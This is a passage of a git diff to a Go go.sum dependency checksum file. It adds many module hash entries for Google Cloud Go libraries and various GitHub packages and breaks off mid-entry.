h1:8rVNzU43tQvxDaGvqOhpDqgkJTFowBpDvCJ14kGlJYo= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.22.1/go.mod h1:S8N1cAStu7BOeFfE8KAQzmyyLkK8p/vmRq6kuBTW58Y= +cloud.google.com/go/storage v1.23.0/go.mod h1:vOEEDNFnciUMhBeT6hsJIn3ieU5cFRmzeLgDvXzfIXc= +cloud.google.com/go/storage v1.27.0/go.mod h1:x9DOL8TK/ygDUMieqwfhdpQryTeEkhGKMi80i/iqR2s= +cloud.google.com/go/storage v1.28.1/go.mod h1:Qnisd4CqDdo6BGs2AD5LLnEsmSQ80wQ5ogcBBKhU86Y= +cloud.google.com/go/storage v1.29.0/go.mod h1:4puEjyTKnku6gfKoTfNOU/W+a9JyuVNxjpS5GBrB8h4= +cloud.google.com/go/storage v1.30.1/go.mod h1:NfxhC0UJE1aXSx7CIIbCf7y9HKT7BiccwkR7+P7gN8E= +cloud.google.com/go/storagetransfer v1.5.0/go.mod h1:dxNzUopWy7RQevYFHewchb29POFv3/AaBgnhqzqiK0w= +cloud.google.com/go/storagetransfer v1.6.0/go.mod h1:y77xm4CQV/ZhFZH75PLEXY0ROiS7Gh6pSKrM8dJyg6I= +cloud.google.com/go/storagetransfer v1.7.0/go.mod h1:8Giuj1QNb1kfLAiWM1bN6dHzfdlDAVC9rv9abHot2W4= +cloud.google.com/go/storagetransfer v1.8.0/go.mod h1:JpegsHHU1eXg7lMHkvf+KE5XDJ7EQu0GwNJbbVGanEw= +cloud.google.com/go/storagetransfer v1.10.0/go.mod h1:DM4sTlSmGiNczmV6iZyceIh2dbs+7z2Ayg6YAiQlYfA= +cloud.google.com/go/talent v1.1.0/go.mod h1:Vl4pt9jiHKvOgF9KoZo6Kob9oV4lwd/ZD5Cto54zDRw= +cloud.google.com/go/talent v1.2.0/go.mod h1:MoNF9bhFQbiJ6eFD3uSsg0uBALw4n4gaCaEjBw9zo8g= +cloud.google.com/go/talent v1.3.0/go.mod h1:CmcxwJ/PKfRgd1pBjQgU6W3YBwiewmUzQYH5HHmSCmM= +cloud.google.com/go/talent v1.4.0/go.mod h1:ezFtAgVuRf8jRsvyE6EwmbTK5LKciD4KVnHuDEFmOOA= +cloud.google.com/go/talent v1.5.0/go.mod h1:G+ODMj9bsasAEJkQSzO2uHQWXHHXUomArjWQQYkqK6c= +cloud.google.com/go/talent v1.6.2/go.mod h1:CbGvmKCG61mkdjcqTcLOkb2ZN1SrQI8MDyma2l7VD24= +cloud.google.com/go/texttospeech v1.4.0/go.mod h1:FX8HQHA6sEpJ7rCMSfXuzBcysDAuWusNNNvN9FELDd8= +cloud.google.com/go/texttospeech v1.5.0/go.mod h1:oKPLhR4n4ZdQqWKURdwxMy0uiTS1xU161C8W57Wkea4= +cloud.google.com/go/texttospeech v1.6.0/go.mod h1:YmwmFT8pj1aBblQOI3TfKmwibnsfvhIBzPXcW4EBovc= +cloud.google.com/go/texttospeech v1.7.1/go.mod h1:m7QfG5IXxeneGqTapXNxv2ItxP/FS0hCZBwXYqucgSk= +cloud.google.com/go/tpu v1.3.0/go.mod h1:aJIManG0o20tfDQlRIej44FcwGGl/cD0oiRyMKG19IQ= +cloud.google.com/go/tpu v1.4.0/go.mod h1:mjZaX8p0VBgllCzF6wcU2ovUXN9TONFLd7iz227X2Xg= +cloud.google.com/go/tpu v1.5.0/go.mod h1:8zVo1rYDFuW2l4yZVY0R0fb/v44xLh3llq7RuV61fPM= +cloud.google.com/go/tpu v1.6.1/go.mod h1:sOdcHVIgDEEOKuqUoi6Fq53MKHJAtOwtz0GuKsWSH3E= +cloud.google.com/go/trace v1.3.0/go.mod h1:FFUE83d9Ca57C+K8rDl/Ih8LwOzWIV1krKgxg6N0G28= +cloud.google.com/go/trace v1.4.0/go.mod h1:UG0v8UBqzusp+z63o7FK74SdFE+AXpCLdFb1rshXG+Y= +cloud.google.com/go/trace v1.8.0/go.mod h1:zH7vcsbAhklH8hWFig58HvxcxyQbaIqMarMg9hn5ECA= +cloud.google.com/go/trace v1.9.0/go.mod h1:lOQqpE5IaWY0Ixg7/r2SjixMuc6lfTFeO4QGM4dQWOk= +cloud.google.com/go/trace v1.10.1/go.mod h1:gbtL94KE5AJLH3y+WVpfWILmqgc6dXcqgNXdOPAQTYk= +cloud.google.com/go/translate v1.3.0/go.mod h1:gzMUwRjvOqj5i69y/LYLd8RrNQk+hOmIXTi9+nb3Djs= +cloud.google.com/go/translate v1.4.0/go.mod h1:06Dn/ppvLD6WvA5Rhdp029IX2Mi3Mn7fpMRLPvXT5Wg= +cloud.google.com/go/translate v1.5.0/go.mod h1:29YDSYveqqpA1CQFD7NQuP49xymq17RXNaUDdc0mNu0= +cloud.google.com/go/translate v1.6.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= +cloud.google.com/go/translate v1.7.0/go.mod h1:lMGRudH1pu7I3n3PETiOB2507gf3HnfLV8qlkHZEyos= +cloud.google.com/go/translate v1.8.1/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= +cloud.google.com/go/translate v1.8.2/go.mod h1:d1ZH5aaOA0CNhWeXeC8ujd4tdCFw8XoNWRljklu5RHs= +cloud.google.com/go/video v1.8.0/go.mod h1:sTzKFc0bUSByE8Yoh8X0mn8bMymItVGPfTuUBUyRgxk= +cloud.google.com/go/video v1.9.0/go.mod h1:0RhNKFRF5v92f8dQt0yhaHrEuH95m068JYOvLZYnJSw= +cloud.google.com/go/video v1.12.0/go.mod h1:MLQew95eTuaNDEGriQdcYn0dTwf9oWiA4uYebxM5kdg= +cloud.google.com/go/video v1.13.0/go.mod h1:ulzkYlYgCp15N2AokzKjy7MQ9ejuynOJdf1tR5lGthk= +cloud.google.com/go/video v1.14.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= +cloud.google.com/go/video v1.15.0/go.mod h1:SkgaXwT+lIIAKqWAJfktHT/RbgjSuY6DobxEp0C5yTQ= +cloud.google.com/go/video v1.17.1/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= +cloud.google.com/go/video v1.19.0/go.mod h1:9qmqPqw/Ib2tLqaeHgtakU+l5TcJxCJbhFXM7UJjVzU= +cloud.google.com/go/videointelligence v1.6.0/go.mod h1:w0DIDlVRKtwPCn/C4iwZIJdvC69yInhW0cfi+p546uU= +cloud.google.com/go/videointelligence v1.7.0/go.mod h1:k8pI/1wAhjznARtVT9U1llUaFNPh7muw8QyOUpavru4= +cloud.google.com/go/videointelligence v1.8.0/go.mod h1:dIcCn4gVDdS7yte/w+koiXn5dWVplOZkE+xwG9FgK+M= +cloud.google.com/go/videointelligence v1.9.0/go.mod h1:29lVRMPDYHikk3v8EdPSaL8Ku+eMzDljjuvRs105XoU= +cloud.google.com/go/videointelligence v1.10.0/go.mod h1:LHZngX1liVtUhZvi2uNS0VQuOzNi2TkY1OakiuoUOjU= +cloud.google.com/go/videointelligence v1.11.1/go.mod h1:76xn/8InyQHarjTWsBR058SmlPCwQjgcvoW0aZykOvo= +cloud.google.com/go/vision v1.2.0/go.mod h1:SmNwgObm5DpFBme2xpyOyasvBc1aPdjvMk2bBk0tKD0= +cloud.google.com/go/vision/v2 v2.2.0/go.mod h1:uCdV4PpN1S0jyCyq8sIM42v2Y6zOLkZs+4R9LrGYwFo= +cloud.google.com/go/vision/v2 v2.3.0/go.mod h1:UO61abBx9QRMFkNBbf1D8B1LXdS2cGiiCRx0vSpZoUo= +cloud.google.com/go/vision/v2 v2.4.0/go.mod h1:VtI579ll9RpVTrdKdkMzckdnwMyX2JILb+MhPqRbPsY= +cloud.google.com/go/vision/v2 v2.5.0/go.mod h1:MmaezXOOE+IWa+cS7OhRRLK2cNv1ZL98zhqFFZaaH2E= +cloud.google.com/go/vision/v2 v2.6.0/go.mod h1:158Hes0MvOS9Z/bDMSFpjwsUrZ5fPrdwuyyvKSGAGMY= +cloud.google.com/go/vision/v2 v2.7.0/go.mod h1:H89VysHy21avemp6xcf9b9JvZHVehWbET0uT/bcuY/0= +cloud.google.com/go/vision/v2 v2.7.2/go.mod h1:jKa8oSYBWhYiXarHPvP4USxYANYUEdEsQrloLjrSwJU= +cloud.google.com/go/vmmigration v1.2.0/go.mod h1:IRf0o7myyWFSmVR1ItrBSFLFD/rJkfDCUTO4vLlJvsE= +cloud.google.com/go/vmmigration v1.3.0/go.mod h1:oGJ6ZgGPQOFdjHuocGcLqX4lc98YQ7Ygq8YQwHh9A7g= +cloud.google.com/go/vmmigration v1.5.0/go.mod h1:E4YQ8q7/4W9gobHjQg4JJSgXXSgY21nA5r8swQV+Xxc= +cloud.google.com/go/vmmigration v1.6.0/go.mod h1:bopQ/g4z+8qXzichC7GW1w2MjbErL54rk3/C843CjfY= +cloud.google.com/go/vmmigration v1.7.1/go.mod h1:WD+5z7a/IpZ5bKK//YmT9E047AD+rjycCAvyMxGJbro= +cloud.google.com/go/vmwareengine v0.1.0/go.mod h1:RsdNEf/8UDvKllXhMz5J40XxDrNJNN4sagiox+OI208= +cloud.google.com/go/vmwareengine v0.2.2/go.mod h1:sKdctNJxb3KLZkE/6Oui94iw/xs9PRNC2wnNLXsHvH8= +cloud.google.com/go/vmwareengine v0.3.0/go.mod h1:wvoyMvNWdIzxMYSpH/R7y2h5h3WFkx6d+1TIsP39WGY= +cloud.google.com/go/vmwareengine v0.4.1/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= +cloud.google.com/go/vmwareengine v1.0.0/go.mod h1:Px64x+BvjPZwWuc4HdmVhoygcXqEkGHXoa7uyfTgSI0= +cloud.google.com/go/vpcaccess v1.4.0/go.mod h1:aQHVbTWDYUR1EbTApSVvMq1EnT57ppDmQzZ3imqIk4w= +cloud.google.com/go/vpcaccess v1.5.0/go.mod h1:drmg4HLk9NkZpGfCmZ3Tz0Bwnm2+DKqViEpeEpOq0m8= +cloud.google.com/go/vpcaccess v1.6.0/go.mod h1:wX2ILaNhe7TlVa4vC5xce1bCnqE3AeH27RV31lnmZes= +cloud.google.com/go/vpcaccess v1.7.1/go.mod h1:FogoD46/ZU+JUBX9D606X21EnxiszYi2tArQwLY4SXs= +cloud.google.com/go/webrisk v1.4.0/go.mod h1:Hn8X6Zr+ziE2aNd8SliSDWpEnSS1u4R9+xXZmFiHmGE= +cloud.google.com/go/webrisk v1.5.0/go.mod h1:iPG6fr52Tv7sGk0H6qUFzmL3HHZev1htXuWDEEsqMTg= +cloud.google.com/go/webrisk v1.6.0/go.mod h1:65sW9V9rOosnc9ZY7A7jsy1zoHS5W9IAXv6dGqhMQMc= +cloud.google.com/go/webrisk v1.7.0/go.mod h1:mVMHgEYH0r337nmt1JyLthzMr6YxwN1aAIEc2fTcq7A= +cloud.google.com/go/webrisk v1.8.0/go.mod h1:oJPDuamzHXgUc+b8SiHRcVInZQuybnvEW72PqTc7sSg= +cloud.google.com/go/webrisk v1.9.1/go.mod h1:4GCmXKcOa2BZcZPn6DCEvE7HypmEJcJkr4mtM+sqYPc= +cloud.google.com/go/websecurityscanner v1.3.0/go.mod h1:uImdKm2wyeXQevQJXeh8Uun/Ym1VqworNDlBXQevGMo= +cloud.google.com/go/websecurityscanner v1.4.0/go.mod h1:ebit/Fp0a+FWu5j4JOmJEV8S8CzdTkAS77oDsiSqYWQ= +cloud.google.com/go/websecurityscanner v1.5.0/go.mod h1:Y6xdCPy81yi0SQnDY1xdNTNpfY1oAgXUlcfN3B3eSng= +cloud.google.com/go/websecurityscanner v1.6.1/go.mod h1:Njgaw3rttgRHXzwCB8kgCYqv5/rGpFCsBOvPbYgszpg= +cloud.google.com/go/workflows v1.6.0/go.mod h1:6t9F5h/unJz41YqfBmqSASJSXccBLtD1Vwf+KmJENM0= +cloud.google.com/go/workflows v1.7.0/go.mod h1:JhSrZuVZWuiDfKEFxU0/F1PQjmpnpcoISEXH2bcHC3M= +cloud.google.com/go/workflows v1.8.0/go.mod h1:ysGhmEajwZxGn1OhGOGKsTXc5PyxOc0vfKf5Af+to4M= +cloud.google.com/go/workflows v1.9.0/go.mod h1:ZGkj1aFIOd9c8Gerkjjq7OW7I5+l6cSvT3ujaO/WwSA= +cloud.google.com/go/workflows v1.10.0/go.mod h1:fZ8LmRmZQWacon9UCX1r/g/DfAXx5VcPALq2CxzdePw= +cloud.google.com/go/workflows v1.11.1/go.mod h1:Z+t10G1wF7h8LgdY/EmRcQY8ptBD/nvofaL6FqlET6g= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +gioui.org v0.0.0-20210308172011-57750fc8a0a6/go.mod h1:RSH6KIUZ0p2xy5zHDxgAM4zumjgTw83q2ge/PI+yyw8= +git.sr.ht/~sbinet/gg v0.3.1/go.mod h1:KGYtlADtqsqANL9ueOFkWymvzUvLMQllU5Ixo+8v3pc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= +github.com/JohnCGriffin/overflow v0.0.0-20211019200055-46fa312c352c/go.mod h1:X0CRv0ky0k6m906ixxpzmDRLvX58TFUKS2eePweuyxk= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= @@ -51,19 +772,39 @@ github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOd github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= +github.com/ajstarks/deck v0.0.0-20200831202436-30c9fc6549a9/go.mod h1:JynElWSGnm/4RlzPXRlREEwqTHAN3T56Bv2ITsFT3gY= +github.com/ajstarks/deck/generate v0.0.0-20210309230005-c3f852c02e19/go.mod h1:T13YZdzov6OU0A1+RfKZiZN9ca6VeKdBdyDV+BY97Tk= +github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= +github.com/ajstarks/svgo v0.0.0-20211024235047-1546f124cd8b/go.mod h1:1KcenG0jGWcpt8ov532z81sp/kMMUG485J2InIOyADM= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= +github.com/apache/arrow/go/v10 v10.0.1/go.mod h1:YvhnlEePVnBS4+0z3fhPfUy7W1Ikj0Ih0vcRo/gZ1M0= +github.com/apache/arrow/go/v11 v11.0.0/go.mod h1:Eg5OsL5H+e299f7u5ssuXsuHQVEGC4xei5aX110hRiI= +github.com/apache/arrow/go/v12 v12.0.0/go.mod h1:d+tV/eHZZ7Dz7RPrFKtPK02tpr+c9/PEd/zm8mDS9Vg= +github.com/apache/thrift v0.16.0/go.mod h1:PHK3hniurgQaNMZYaCLEqXKsYK8upmhPbmdP2FXSqgU= +github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= +github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= +github.com/armon/go-metrics v0.4.0/go.mod h1:E6amYzXo6aW1tqzoZGT755KkbgrJsSdpwZ+3JqfkOG4= +github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/boombuler/barcode v1.0.0/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= +github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= @@ -73,8 +814,23 @@ github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XL github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= +github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/udpa/go v0.0.0-20220112060539-c52dc94e7fbe/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230310173818-32f1caf87195/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230607035331-e9ce68804cb4/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= @@ -82,13 +838,16 @@ github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPqu github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -103,16 +862,36 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= +github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= +github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= +github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= +github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= +github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= +github.com/envoyproxy/go-control-plane v0.10.3/go.mod 